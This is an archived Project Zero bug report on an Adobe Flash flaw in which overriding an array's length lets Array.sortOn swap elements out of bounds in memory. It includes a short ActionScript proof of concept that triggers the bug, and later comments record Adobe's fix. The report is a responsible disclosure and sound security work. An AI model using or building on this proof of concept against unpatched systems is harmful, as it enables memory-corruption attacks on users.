AN-Master / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Adobe Flash: Array.sort can go out of bounds #374

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago
If the length of an array is overridden so that it returns a long length, and 
then later a short one, Array.sort can swap array elements that are out of 
bounds of the array in memory.

A PoC is as follows:

var s = 1;

var rec_array:Array = new Array();
rec_array.push({name: "john", city: "omaha", zip: 68144});
rec_array.push({name: "john", city: "kansas city", zip: 72345});
rec_array.push({name: "bob", city: "omaha", zip: 94010});

var n = {valueOf : gl};
rec_array.length = n;

rec_array.sortOn(["name", "city"]);
for(i=0; i<rec_array.length; i++){
    trace(rec_array[i].name + ", " + rec_array[i].city);
}

function gl(){

    trace(s);
        if(s< 3){
        s++;
        return 100000;
    }else{
        return 3;       
        }
    }

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 7 May 2015 at 8:57

Attachments:

GoogleCodeExporter commented 8 years ago
This is PSIRT-3659

Original comment by natashe...@google.com on 8 May 2015 at 6:43

GoogleCodeExporter commented 8 years ago

Original comment by cev...@google.com on 5 Jul 2015 at 6:32

GoogleCodeExporter commented 8 years ago
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

GoogleCodeExporter commented 8 years ago

Original comment by natashe...@google.com on 3 Aug 2015 at 9:43